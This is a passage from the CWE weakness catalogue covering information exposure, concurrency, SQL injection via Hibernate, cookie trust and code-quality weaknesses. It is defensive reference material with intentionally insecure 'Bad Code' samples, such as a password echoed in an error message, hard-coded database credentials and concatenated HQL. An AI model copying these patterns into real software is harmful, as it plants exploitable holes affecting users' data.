      System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
      System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
    } catch (FileNotFoundException ex) {...}
  }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2:

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

Java Example: *Bad Code*

```
public class BankManagerLoginServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
  IOException {
    try {
      // Get username and password from login page request
      String username = request.getParameter("username");
      String password = request.getParameter("password");
      // Authenticate user
      BankManager bankMgr = new BankManager();
      boolean isAuthentic = bankMgr.authenticateUser(username, password);
      // If user is authenticated then go to successful login page
      if (isAuthentic) {
        request.setAttribute("login", new String("Login Successful."));
        getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
      }
      else {
        // Otherwise, raise failed login exception and output unsuccessful login message to error page
        throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
      }
    } catch (FailedLoginException ex) {
      // output failed login message to error page
      request.setAttribute("error", new String("Login Error"));
      request.setAttribute("message", ex.getMessage());
      getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
    }
  }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

Potential Mitigations

Implementation

Do not expose sensitive error information to the user.

Relationships

Maintenance Notes

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

CWE-539: Information Exposure Through Persistent Cookies

Weakness ID: 539 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Architecture and Design

Do not store sensitive information in persistent cookies.

CWE-540: Information Exposure Through Source Code

Weakness ID: 540 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Source code on a web server often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Architecture and Design
System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

Relationships

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-541: Information Exposure Through Include Source Code

Weakness ID: 541 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

The following code uses an include file to store database credentials:

database.inc

PHP Example: *Bad Code*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

PHP Example: *Bad Code*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password. Note this is also an example of CWE-433.

Potential Mitigations

Architecture and Design

Do not store sensitive information in include files.

Architecture and Design
System Configuration

Protect include files from being exposed.

Relationships

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID: 543 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java
- C++

Common Consequences

Other
Integrity
Other
Modify application data

Demonstrative Examples

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Java Example: *Bad Code*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
  if (singleton == null) {
    singleton = new NumberConverter();
  }
  return singleton;
}
```

Consider the following course of events:

Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.

Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.

Thread B continues and constructs another NumberConverter object and returns it while exiting the method.

Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

Potential Mitigations

Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Implementation
Limited

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID: 544 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Time of Introduction

- Architecture and Design

Common Consequences

Integrity
Other
Quality degradation
Unexpected state
Varies by context

Potential Mitigations

Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

Relationships

Nature	Type	ID	Name	V	Page

CWE-545: DEPRECATED: Use of Dynamic Class Loading

Weakness ID: 545 *(Deprecated Weakness Variant)* **Status:** Deprecated

Description

Summary

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

CWE-546: Suspicious Comment

Weakness ID: 546 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Time of Introduction

- Implementation

Common Consequences

Other

Quality degradation

Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

Demonstrative Examples

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Java Example: *Bad Code*

```
if (user == null) {
  // TODO: Handle null user condition.
}
```

Potential Mitigations

Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID: 547 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Time of Introduction

- Implementation

Common Consequences

Other
Varies by context
Quality degradation

The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.

Demonstrative Examples

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

C/C++ Example: *Bad Code*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurences, in this example it could lead to a buffer overflow.

C/C++ Example: *Bad Code*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

Potential Mitigations

Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

CWE-548: Information Exposure Through Directory Listing

Weakness ID: 548 *(Weakness Variant)* **Status:** Draft

Description

Summary

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

Time of Introduction

- Implementation
- Operation

Common Consequences

Confidentiality

Read files or directories

Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.

Potential Mitigations

Architecture and Design

System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

CWE-549: Missing Password Field Masking

Weakness ID: 549 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Time of Introduction

- Implementation

Common Consequences

Access Control

Bypass protection mechanism

Potential Mitigations

Implementation

Requirements

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

Relationships

CWE-550: Information Exposure Through Server Error Message

Weakness ID: 550 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Time of Introduction

- Implementation

Common Consequences

Confidentiality

Read application data

Potential Mitigations

Architecture and Design
System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

Relationships

Nature	Type	ID	Name	V	Page

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID: 551 *(Weakness Base)* **Status:** Incomplete

Description

Summary

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Time of Introduction

- Implementation

Common Consequences

Access Control
Bypass protection mechanism

Potential Mitigations

Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID: 554 *(Weakness Variant)* **Status:** Draft

Description

Summary

The ASP.NET application does not use an input validation framework.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- .NET

Common Consequences

Integrity
Unexpected state

Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Potential Mitigations

Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that:

Phone number fields contain only valid characters in phone numbers

Boolean values are only "T" or "F"

Free-form strings are of a reasonable length and composition

Relationships

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID: 555 *(Weakness Variant)* **Status:** Draft

Description

Summary

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control
Bypass protection mechanism

Demonstrative Examples

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Java Example: *Bad Code*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

Potential Mitigations

Architecture and Design

Do not hardwire passwords into your software.

Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Relationships

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID: 556 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Time of Introduction

- Implementation
- Operation

Common Consequences

Access Control
Gain privileges / assume identity

Potential Mitigations

Architecture and Design

Use the least privilege principle.

Relationships

CWE-557: Concurrency Issues

Category ID: 557 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to concurrent use of shared resources.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	627
CanAlsoBe	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1000	628
PeerOf	C	371	State Issues	1000	652
ParentOf	B	*366*	*Race Condition within a Thread*	*699*	*641*
ParentOf	V	*558*	*Use of getlogin() in Multithreaded Application*	***699***	*895*
ParentOf	B	*567*	*Unsynchronized Access to Shared Data in a Multithreaded Context*	***699***	*906*
ParentOf	V	*572*	*Call to Thread run() instead of start()*	*699*	*912*

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID: 558 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity
Access Control
Other
Modify application data
Bypass protection mechanism
Other

Demonstrative Examples

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

C Example: *Bad Code*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
  allow();
} else {
  deny();
}
```

Potential Mitigations

Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	227	Improper Fulfillment of API Contract ('API Abuse')	**700**	419

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: Authentication
Software Fault Patterns	SFP3	Use of an improper API

CWE-559: Often Misused: Arguments and Parameters

Category ID: 559 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper use of arguments or parameters within function calls.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	227	Improper Fulfillment of API Contract ('API Abuse')	699	419
ParentOf	V	*560*	*Use of umask() with chmod-style Argument*	*699*	*897*
ParentOf	B	*628*	*Function Call with Incorrectly Specified Arguments*	*699*	*979*

Relationship Notes

This category is closely related to CWE-628, Incorrectly Specified Arguments, and might be the same. However, CWE-628 is a base weakness, not a category.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 2.10)*
133	Try All Common Switches	

CWE-560: Use of umask() with chmod-style Argument

Weakness ID: 560 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

Common Consequences

Confidentiality
Integrity
Access Control
Read files or directories
Modify files or directories
Bypass protection mechanism

Potential Mitigations

Implementation

Use umask() with the correct argument.

Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

Other Notes

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID: 561 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains dead code, which can never be executed.

Extended Description

Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Time of Introduction

- Implementation

Common Consequences

Other

Quality degradation

Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

C++ Example: *Bad Code*

```
String s = null;
if (b) {
  s = "Yes";
  return;
}
if (s != null) {
  Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Java Example: *Bad Code*

```
public class DoubleDead {
  private void doTweedledee() {
    doTweedledumb();
  }
  private void doTweedledumb() {
    doTweedledee();
  }
  public static void main(String[] args) {
    System.out.println("running DoubleDead");
  }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Java Example: *Bad Code*

```
public class Dead {
  String glue;
  public String getGlue() {
    return "glue";
  }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

Potential Mitigations

Implementation

Remove dead code before deploying the application.

Testing

Use a static analysis tool to spot dead code.

CWE-562: Return of Stack Variable Address

Weakness ID: 562 *(Weakness Base)* **Status:** Draft

Description

Summary

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

DoS: crash / exit / restart

Demonstrative Examples

The following function returns a stack address.

C Example: *Bad Code*

```
char* getName() {
  char name[STR_MAX];
  fillInName(name);
  return name;
}
```

Potential Mitigations

Testing

Use static analysis tools to spot return of the address of a stack variable.

CWE-563: Assignment to Variable without Use ('Unused Variable')

Weakness ID: 563 *(Weakness Variant)* **Status:** Draft

Description

Summary

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Time of Introduction

- Implementation

Common Consequences

Other
Quality degradation
Varies by context

This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.

Demonstrative Examples

The following code excerpt assigns to the variable r and then overwrites the value without using it.

C Example: *Bad Code*

```
r = getName();
r = getNewBuffer(buf);
```

Potential Mitigations

Implementation

Remove unused variables from the code.

CWE-564: SQL Injection: Hibernate

Weakness ID: 564 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

Demonstrative Examples

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Java Example: *Bad Code*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

Potential Mitigations

Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Implementation

Use vigorous whitelist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID: 565 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Access Control

Gain privileges / assume identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.

Demonstrative Examples

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Potential Mitigations

Architecture and Design

Avoid using cookie data for a security-related decision.

Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Architecture and Design

Add integrity checks to detect tampering.

Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	453
ChildOf	B	602	Client-Side Enforcement of Server-Side Security	1000	949
ChildOf	C	642	External Control of Critical State Data	**1000**	995

ParentOf	V	*784*	*Reliance on Cookies without Validation and Integrity Checking in a Security Decision*	***699*** ***1000***	*1205*

Relationship Notes

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID: 566 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

Data enters a program from an untrusted source.

The data is used to specify the value of a primary key in a SQL query.

The untrusted source does not have the permissions to be able to access all rows in the associated table.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Technology Classes

- Database-Server *(Often)*

Common Consequences

Confidentiality
Integrity
Access Control
Read application data
Modify application data
Bypass protection mechanism

Demonstrative Examples

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

C# Example: *Bad Code*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

Potential Mitigations

Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID: 567 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Integrity
Availability
Read application data
Modify application data
DoS: instability
DoS: crash / exit / restart

If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.

Demonstrative Examples

The following code implements a basic counter for how many times the page has been accesed.

Java Example: *Bad Code*

```
public static class Counter extends HttpServlet {
  static int count = 0;
  protected void doGet(HttpServletRequest in, HttpServletResponse out)
  throws ServletException, IOException {
    out.setContentType("text/plain");
    PrintWriter p = out.getWriter();
    count++;
```

```
    p.println(count + " hits so far!");
  }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

Assume this is the first occurrence of doGet, so the value of count is 0.

doGet() is called within Thread A.

The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.

doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.

Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

Potential Mitigations

Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

CWE-568: finalize() Method Without super.finalize()

Weakness ID: 568 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains a finalize() method that does not call super.finalize().

Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following method omits the call to super.finalize().

Java Example: *Bad Code*

```
protected void finalize() {
  discardNative();
}
```

Potential Mitigations

Implementation

Call the super.finalize() method.

Testing

Use static analysis tools to spot such issues in your code.

CWE-570: Expression is Always False

Weakness ID: 570 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an expression that will always evaluate to false.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Quality degradation
Varies by context

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Java Example: *Bad Code*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
  boolean isValidProduct = false;
  boolean isValidAccount = false;
  if (validProductNumber(productNumber)) {
    isValidProduct = true;
    updateInventory(productNumber);
  }
  else {
    return;
  }
  if (validAccountNumber(accountNumber)) {
    isValidProduct = true;
    updateAccount(accountNumber, productNumber);
  }
  if (isValidProduct && isValidAccount) {
    updateAccountOrder(accountNumber, productNumber);
  }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Good Code

```
...
if (validAccountNumber(accountNumber)) {
  isValidAccount = true;
  updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Bad Code

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
```

```
int hasReadWriteAccess(unsigned int userMask) {
  // if the userMask has read and write bits set
  // then return 1 (true)
